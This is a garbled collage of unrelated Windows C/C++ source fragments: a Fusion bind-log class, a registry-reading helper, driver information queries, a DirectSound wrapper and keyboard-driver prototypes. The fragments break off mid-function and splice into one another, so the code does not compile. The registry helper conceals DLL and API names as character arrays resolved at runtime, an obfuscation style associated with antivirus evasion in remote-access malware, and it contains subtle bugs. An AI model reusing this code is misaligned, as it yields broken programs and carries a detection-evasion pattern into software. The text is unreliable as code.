}
STDMETHODIMP CDebugLog::GetResultCode(DWORD dwLogCategory, HRESULT *pHr)
{
if (!pHr || dwLogCategory >= FUSION_BIND_LOG_CATEGORY_MAX) {
return E_INVALIDARG;
}
*pHr = _hrResult[dwLogCategory];
return S_OK;
}
STDMETHODIMP CDebugLog::GetBindLog(DWORD dwDetailLevel,
DWORD dwLogCategory,
__out_bcount_opt(*pcbDebugLog) LPWSTR pwzDebugLog,
__inout DWORD *pcbDebugLog)
{
HRESULT hr = S_OK;
LISTNODE pos = NULL;
DWORD cbReqd;
CDebugLogElement *pLogElem = NULL;
if (!pcbDebugLog || dwLogCategory >= FUSION_BIND_LOG_CATEGORY_MAX) {
hr = E_INVALIDARG;
goto Exit;
}
pos = _listDbgMsg[dwLogCategory].GetHeadPosition();
if (!pos) {
// No entries in debug log!
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
typedef LONG
(APIENTRY
*RegOpenKeyExAT)(
__in HKEY hKey,
__in_opt LPCSTR lpSubKey,
__reserved DWORD ulOptions,
__in REGSAM samDesired,
__out PHKEY phkResult
);
char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegOpenKeyExA");
typedef LONG
(APIENTRY
*RegEnumValueAT)(
__in HKEY hKey,
__in DWORD dwIndex,
__out_ecount_opt(*lpcchValueName) LPSTR lpValueName,
__inout LPDWORD lpcchValueName,
__reserved LPDWORD lpReserved,
__out_opt LPDWORD lpType,
__out_bcount_opt(*lpcbData) LPBYTE lpData,
__inout_opt LPDWORD lpcbData
);
RegEnumValueAT pRegEnumValueA=(RegEnumValueAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegEnumValueA");
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(pRegOpenKeyExA(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(pRegQueryValueExA(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
typedef LONG
(APIENTRY
*RegEnumKeyExAT)(
__in HKEY hKey,
__in DWORD dwIndex,
__out_ecount_opt(*lpcchName) LPSTR lpName,
__inout LPDWORD lpcchName,
__reserved LPDWORD lpReserved,
__inout_ecount_opt(*lpcchClass) LPSTR lpClass,
__inout_opt LPDWORD lpcchClass,
__out_opt PFILETIME lpftLastWriteTime
);
RegEnumKeyExAT pRegEnumKeyExA=(RegEnumKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegEnumKeyExA");
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(pRegEnumKeyExA(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(pRegEnumValueA(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
break;
}
typedef LPSTR
(WINAPI
*lstrcatAT)(
__inout LPSTR lpString1,
__in LPCSTR lpString2
);
lstrcatAT plstrcatA=(lstrcatAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcatA");
plstrcatA(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
typedef LONG (APIENTRY *RegCloseKeyT)
( __in HKEY hKey);
char YWsjU[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'};
char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary(KIoFqQPSy),YWsjU);
pRegCloseKey(MainKey);
pRegCloseKey(hKey);
}
return iResult;
}
#include "StdAfx.h"
#include <windows.h>
//去除字符串类型前面的空格
typedef LONG (APIENTRY *RegQueryValueExAT)
(
__in HKEY hKey,
__in_opt LPCSTR lpValueName,
__reserved LPDWORD lpReserved,
__out_opt LPDWORD lpType,
__out_bcount_opt(*lpcbData) LPBYTE lpData,
__inout_opt LPDWORD lpcbData
);
char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
RegQueryValueExAT pRegQueryValueExA= (RegQueryValueExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegQueryValueExA");
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//设置注册表键读取的权限(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
DriverHandle,
0,
ObjectAttributes,
*IoDriverObjectType,
AccessMode
);
}
/* KphQueryInformationDriver
*
* Queries information about a driver object.
*/
NTSTATUS KphQueryInformationDriver(
__in HANDLE DriverHandle,
__in DRIVER_INFORMATION_CLASS DriverInformationClass,
__out_bcount_opt(DriverInformationLength) PVOID DriverInformation,
__in ULONG DriverInformationLength,
__out_opt PULONG ReturnLength,
__in KPROCESSOR_MODE AccessMode
)
{
NTSTATUS status = STATUS_SUCCESS;
PDRIVER_OBJECT driverObject;
if (
DriverInformationClass < DriverBasicInformation ||
DriverInformationClass >= MaxDriverInfoClass
)
return STATUS_INVALID_INFO_CLASS;
/* Probe user input. */
HRESULT __stdcall MyDirectSoundBuffer::GetCaps(THIS_ __out LPDSBCAPS pDSBufferCaps)
{
M_TRACE_FUNCTION;
return m_pDSoundBuffer->GetCaps(pDSBufferCaps);
}
HRESULT __stdcall MyDirectSoundBuffer::GetCurrentPosition(THIS_ __out_opt LPDWORD pdwCurrentPlayCursor, __out_opt LPDWORD pdwCurrentWriteCursor)
{
HRESULT hr = m_pDSoundBuffer->GetCurrentPosition(pdwCurrentPlayCursor, pdwCurrentWriteCursor);
//DWORD dwCurrentPlayCursor = pdwCurrentPlayCursor ? *pdwCurrentPlayCursor : -1;
//DWORD dwCurrentWriteCursor = pdwCurrentWriteCursor ? *pdwCurrentWriteCursor : -1;
//M_TRACE("GetCurrentPosition(%d): PlayCursor = %d, WriteCursor = %d\n", m_uniqueId, dwCurrentPlayCursor, dwCurrentWriteCursor );
return hr;
}
HRESULT __stdcall MyDirectSoundBuffer::GetFormat(THIS_ __out_bcount_opt(dwSizeAllocated) LPWAVEFORMATEX pwfxFormat, DWORD dwSizeAllocated, __out_opt LPDWORD pdwSizeWritten)
{
M_TRACE_FUNCTION;
return m_pDSoundBuffer->GetFormat(pwfxFormat, dwSizeAllocated, pdwSizeWritten);
}
HRESULT __stdcall MyDirectSoundBuffer::GetVolume(THIS_ __out LPLONG plVolume)
{
M_TRACE_FUNCTION;
return m_pDSoundBuffer->GetVolume(plVolume);
}
HRESULT __stdcall MyDirectSoundBuffer::GetPan(THIS_ __out LPLONG plPan)
{
M_TRACE_FUNCTION;
return m_pDSoundBuffer->GetPan(plPan);
};
PWSTR gpwstrManufacturerID = L"Microsoft";
PWSTR gpwstrProductID = L"TabletPC Key Buttons";
PWSTR gpwstrSerialNumber = L"0";
//
// Local function prototypes.
//
NTSTATUS INTERNAL
SendSyncIoctl(
__in PDEVICE_EXTENSION devext,
__in ULONG IoControlCode,
__in_bcount_opt(dwcbOutputBuffer) PVOID InputBuffer,
__in ULONG dwcbInputBuffer,
__out_bcount_opt(dwcbOutputBuffer) PVOID OutputBuffer,
__in ULONG dwcbOutputBuffer
);
NTSTATUS INTERNAL
EnableKbdPort(
__in PDEVICE_EXTENSION devext,
__in PIRP irp,
__in BOOLEAN fEnable
);
VOID EXTERNAL
KbdPortCallback(
__in PDEVICE_OBJECT devobj,
__in PKEYBOARD_INPUT_DATA InputDataStart,
__in PKEYBOARD_INPUT_DATA InputDataEnd,